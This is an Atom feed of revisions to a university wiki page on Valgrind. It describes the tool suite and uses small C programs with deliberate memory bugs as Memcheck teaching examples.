<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=VHorvathova</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=VHorvathova"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/VHorvathova"/>
	<updated>2026-09-10T20:18:03Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11211</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11211"/>
		<updated>2023-01-28T13:46:55Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* When NOT to use Valgrind - what can it NOT find? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
* is a thread debugger that detects data races (race conditions vulnerability) in multithreaded programs&lt;br /&gt;
* searches for memory locations that are accessed by more than one (POSIX p-)thread but for which no consistently used (pthread_mutex_) lock can be found&lt;br /&gt;
* is useful for any program that uses pthreads&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
* for detecting errors in multithreaded C and C++ programs&lt;br /&gt;
* works for any program that uses the POSIX threading primitives &lt;br /&gt;
* uses threading concepts based on the POSIX threading primitives&lt;br /&gt;
* requires less memory than Helgrind to perform its analysis for most programs&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
* is a tool to examine how programs use their heap allocations&lt;br /&gt;
* keeps track of the allocated blocks and examines each memory access to find out which block it refers to&lt;br /&gt;
&lt;br /&gt;
== Why use Valgrind? ==&lt;br /&gt;
* Automatic detection of memory management and threading errors&lt;br /&gt;
* Performance improvement&lt;br /&gt;
* Debugging and profiling system for large, complex programs&lt;br /&gt;
* Software domains:&lt;br /&gt;
** Desktop applications&lt;br /&gt;
** Libraries&lt;br /&gt;
** Databases&lt;br /&gt;
** Games&lt;br /&gt;
** ...&lt;br /&gt;
*Works with programs written in any language&lt;br /&gt;
&lt;br /&gt;
== When to use Valgrind?==&lt;br /&gt;
* Automatic Testing&lt;br /&gt;
* After major code changes&lt;br /&gt;
* When errors occur&lt;br /&gt;
* When bugs are suspected&lt;br /&gt;
* Before a release&lt;br /&gt;
&lt;br /&gt;
== When NOT to use Valgrind - what can it NOT find? ==&lt;br /&gt;
&lt;br /&gt;
* Valgrind checks programs dynamically during execution&lt;br /&gt;
* Does not report errors if no runtime error occurs for certain input values (even if the program contains errors)&lt;br /&gt;
** Faulty memory accesses or memory leaks&lt;br /&gt;
* No bounds checking on static arrays (allocated on the stack)&lt;br /&gt;
* No static stack/buffer/integer overflows/underflows&lt;br /&gt;
* if you declare an array in a method, Valgrind does not warn about it&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11210</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11210"/>
		<updated>2023-01-28T13:46:11Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
* is a thread debugger that detects data races (race conditions vulnerability) in multithreaded programs&lt;br /&gt;
* searches for memory locations that are accessed by more than one (POSIX p-)thread but for which no consistently used (pthread_mutex_) lock can be found&lt;br /&gt;
* is useful for any program that uses pthreads&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
* for detecting errors in multithreaded C and C++ programs&lt;br /&gt;
* works for any program that uses the POSIX threading primitives &lt;br /&gt;
* uses threading concepts based on the POSIX threading primitives&lt;br /&gt;
* requires less memory than Helgrind to perform its analysis for most programs&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
* is a tool to examine how programs use their heap allocations&lt;br /&gt;
* keeps track of the allocated blocks and examines each memory access to find out which block it refers to&lt;br /&gt;
&lt;br /&gt;
== Why use Valgrind? ==&lt;br /&gt;
* Automatic detection of memory management and threading errors&lt;br /&gt;
* Performance improvement&lt;br /&gt;
* Debugging and profiling system for large, complex programs&lt;br /&gt;
* Software domains:&lt;br /&gt;
** Desktop applications&lt;br /&gt;
** Libraries&lt;br /&gt;
** Databases&lt;br /&gt;
** Games&lt;br /&gt;
** ...&lt;br /&gt;
*Works with programs written in any language&lt;br /&gt;
&lt;br /&gt;
== When to use Valgrind?==&lt;br /&gt;
* Automatic Testing&lt;br /&gt;
* After major code changes&lt;br /&gt;
* When errors occur&lt;br /&gt;
* When bugs are suspected&lt;br /&gt;
* Before a release&lt;br /&gt;
&lt;br /&gt;
== When NOT to use Valgrind - what can it NOT find? ==&lt;br /&gt;
&lt;br /&gt;
* Valgrind checks programs dynamically during execution&lt;br /&gt;
* Does not report errors if no runtime error occurs for certain input values&lt;br /&gt;
** Faulty memory accesses or memory leaks&lt;br /&gt;
* Even if the program contains errors&lt;br /&gt;
* No bounds checking on static arrays (allocated on the stack)&lt;br /&gt;
* No static stack/buffer/integer overflows/underflows&lt;br /&gt;
* if you declare an array in a method, Valgrind does not warn about it&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11209</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11209"/>
		<updated>2023-01-28T13:45:08Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
* is a thread debugger that detects data races (race conditions vulnerability) in multithreaded programs&lt;br /&gt;
* searches for memory locations that are accessed by more than one (POSIX p-)thread but for which no consistently used (pthread_mutex_) lock can be found&lt;br /&gt;
* is useful for any program that uses pthreads&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
* for detecting errors in multithreaded C and C++ programs&lt;br /&gt;
* works for any program that uses the POSIX threading primitives &lt;br /&gt;
* uses threading concepts based on the POSIX threading primitives&lt;br /&gt;
* requires less memory than Helgrind to perform its analysis for most programs&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
* is a tool to examine how programs use their heap allocations&lt;br /&gt;
* keeps track of the allocated blocks and examines each memory access to find out which block it refers to&lt;br /&gt;
&lt;br /&gt;
